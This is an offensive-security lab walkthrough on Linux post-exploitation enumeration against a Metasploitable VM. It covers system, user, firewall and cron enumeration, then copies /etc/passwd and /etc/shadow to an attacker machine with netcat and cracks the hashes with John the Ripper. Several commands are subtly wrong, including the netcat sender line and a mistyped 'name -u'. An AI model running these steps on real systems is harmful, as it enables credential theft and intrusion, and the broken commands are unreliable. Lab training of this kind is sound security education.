# 🕵️ Linux & Unix Post-Exploitation Enumeration

You're in. But getting a shell is only half the battle — now the real work begins.

**Post-exploitation enumeration** is the systematic process of understanding the environment you've landed in: who else is here, what's running, what's misconfigured, and most importantly — how do you go deeper? This phase determines whether a foothold becomes full compromise.

---

## 🤔 Why Is Enumeration Important?

Skipping enumeration after initial access is like breaking into a building and wandering around blindly. A thorough post-exploitation survey tells you:

- 🗝️ **Sensitive information** — usernames, passwords, SSH keys, config files
- ⬆️ **Privilege escalation paths** — misconfigurations, SUID binaries, sudo rules
- 🔀 **Lateral movement opportunities** — other hosts reachable from here
- 🔓 **Security misconfigurations** — firewalls, IDS/IPS, weak permissions

The goal is to build a **complete picture of the target** before taking any further action.

---

## 🛠️ Manual Enumeration Commands

---

### 1. 💻 Hostname, System Info, Kernel & Architecture

The first thing you do when you land on a new machine: **figure out where you are**. These commands reveal the system's identity, kernel version, and architecture — all critical for identifying OS-specific exploits and understanding what you're working with.

| 🔧 Command | 📌 What It Reveals |
|-----------|------------------|
| `hostname` | The machine's name on the network |
| `uname -a` | Full OS, kernel, and architecture summary |
| `uname -r` | Kernel version — look for known CVEs |
| `uname -m` | CPU architecture (x86, x64, ARM...) |
| `cat /etc/*release` | Linux distro and version |
| `env` | Environment variables — may leak paths or credentials |

In our target machine:

```bash
xxxxxxx@metasploitable:~$ hostname
metasploitable
xxxxxxx@metasploitable:~$ name -u
-bash: name: command not found
xxxxxxx@metasploitable:~$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
xxxxxxx@metasploitable:~$ uname -r # Kernel version
2.6.24-16-server
xxxxxxx@metasploitable:~$ uname -m # System architecture
i686
xxxxxxx@metasploitable:~$ cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04"
xxxxxxx@metasploitable:~$ cat /proc/version
Linux version 2.6.24-16-server (buildd@palmer) (gcc version 4.2.3 (Ubuntu 4.2.3-2ubuntu7)) #1 SMP Thu Apr 10 13:58:00 UTC 2008
```

> 🎯 **Ubuntu 8.04 "Hardy Heron"**, kernel `2.6.24` from **2008**. This machine hasn't seen a patch in nearly two decades — kernel exploits are very much on the table.

---

### 2. 👥 Users & Groups Enumeration

Understanding the user landscape is essential. We want to know: **who are we, who else is here, and who has power?** A stray privileged account or a user with sudo access could be the key to full root.

| 🔧 Command | 📌 What It Reveals |
|-----------|------------------|
| `whoami` | Our current user |
| `id` | UID, GID, and all group memberships |
| `cat /etc/group` | All system groups and their members |
| `getent group sudo` | Who can run commands as root |
| `who` | Currently logged-in users (and from where) |
| `last` | Login history — spot other active sessions |
| `awk -F: '$3 == 0 {print $1}' /etc/passwd` | All accounts with UID 0 (root-level) |

In the target machine:

```bash
xxxxxxx@metasploitable:~$ whoami
msfadmin
xxxxxxx@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
xxxxxxx@metasploitable:~$ getent group sudo
sudo:x:27:
xxxxxxx@metasploitable:~$ who
msfadmin tty1         2026-04-05 05:44
root     pts/0        2026-04-05 05:43 (:0.0)
msfadmin pts/1        2026-04-05 10:10 (192.168.100.10)
msfadmin@metasploitable:~$ last
msfadmin pts/1        192.168.100.10   Sun Apr  5 10:10   still logged in
jsmith   pts/1        192.168.100.10   Sun Apr  5 10:04 - 10:05  (00:01)
msfadmin pts/1        192.168.100.10   Sun Apr  5 10:01 - 10:04  (00:02)
msfadmin pts/1        192.168.100.10   Sun Apr  5 08:12 - 08:13  (00:00)

wtmp begins Sun Apr  5 08:12:51 2026
xxxxxxx@metasploitable:~$ awk -F: '$3 == 0 {print $1}' /etc/passwd  # Find users with UID 0 (superusers)
root
```

> 👀 Interesting findings:
> - We're `msfadmin` — not root, but a member of the `admin` group (worth investigating)
> - **`root` is logged in** on `pts/0` right now — there's an active root session
> - A user **`jsmith`** appeared briefly in the login history — another potential target account

---

### 3. 🔐 Security & Firewall Checks

Before moving aggressively, it pays to **know what's watching you**. Is there a firewall? An IDS? Any leftover SSH keys we can reuse elsewhere? This step maps the defensive landscape.

| 🔧 Command | 📌 What It Reveals |
|-----------|------------------|
| `iptables -L -v -n` | Active firewall rules and hit counts |
| `firewall-cmd --list-all` | Firewalld config (RHEL-based systems) |
| `ufw status` | UFW status (Ubuntu/Debian) |
| `ps aux \| grep -E 'snort\|suricata\|bro'` | Running IDS/IPS processes — are we being watched? |
| `ls -lah ~/.ssh/` | SSH keys — potential tickets for lateral movement |
| `find / -name '*.ovpn' 2>/dev/null \| grep -v 'Permission denied'` | VPN configs that may contain credentials |

> 💡 On Metasploitable, firewalling is virtually non-existent and no IDS is running — which explains why every scan and brute-force went completely unnoticed.

---

### 4. ⚙️ Running Processes & Cron Jobs

Processes and scheduled tasks are a goldmine for two reasons: they reveal **what's running** (and whether any of it is exploitable), and they expose **how an attacker before you might have persisted** — or how you can.

Classic escalation vectors hide here:
- 🔴 **Cron jobs running as root** that reference world-writable scripts
- 🔴 **Outdated services** with unpatched CVEs still actively running
- 🔴 **Misconfigured daemons** launched with excessive privileges

```bash
ps aux  # List running processes
top -bn1 | head -20  # Top resource-consuming processes
crontab -l  # User cron jobs
ls /etc/cron.*  # System-wide cron jobs
systemctl list-timers  # Active systemd timers
```

> 🎯 Pay special attention to any cron job that runs a script in `/tmp`, `/var/tmp`, or any world-writable directory — those are textbook privilege escalation paths.

---

### 5. 🗄️ Password Files — The Crown Jewels

`/etc/passwd` lists every user on the system. `/etc/shadow` stores their **hashed passwords** — and it's where the real treasure is. Shadow requires root to read directly, but if we can grab it, we can crack it offline at our leisure.

```bash
cat /etc/passwd  # Also list all system users
cat /etc/shadow # Requires sudo privileges! Needs escalation if we have an unprivileged account
```

In our target machine, we dump both files locally:

```bash
cat /etc/passwd > passwd
cat /etc/shadow > shadow
```

---

#### 📤 Exfiltrating Files with NetCat

With both files captured, we need to transfer them to our Kali machine for offline cracking. **NetCat** is the classic, low-noise option — no extra tools required on either side.

On your Kali machine (attacker), listen for the file:

```bash
nc -nzlvp 4444 > exfiltrated_file.txt
```

On the Metasploitable shell, send the file:

```bash
nc 192.168.100.10 > passwd
```

Do the same for */etc/shadow*

Now the files are on the Kali machine. Preview first 5 rows:

```bash
cat passwd_stolen.txt | head -n 5
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync

cat shadow_stolen.txt | head -n 5
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
```

> 🔍 Those `$1$...` prefixes indicate **MD5-crypt** hashes — an old and relatively weak algorithm. John the Ripper will make short work of these.

---

#### 🔓 Cracking Passwords with John the Ripper

Kali comes pre-loaded with both **John the Ripper** and a wealth of wordlists (find them in `/usr/share/seclists`). The workflow is two steps:

**1. Unshadow the file** — combine `passwd` and `shadow` into a single crackable format:

```bash
unshadow passwd_stolen.txt shadow_stolen.txt > unshadowed.txt

kali@kali cat unshadowed.txt | head -n 5
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/bin/sh
bin:*:2:2:bin:/bin:/bin/sh
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
sync:*:4:65534:sync:/bin:/bin/sync
```

**2. Crack the hashes** — feed the unshadowed file to John with a wordlist:

```bash
john --wordlist=/usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-100000.txt unshadowed.txt
```

> 🏆 If any user chose a password that appears in a common wordlist — and on a machine like Metasploitable, they almost certainly did — John will crack it. Cracked credentials can then be reused across other services (SSH, MySQL, FTP...) for lateral movement or privilege escalation.
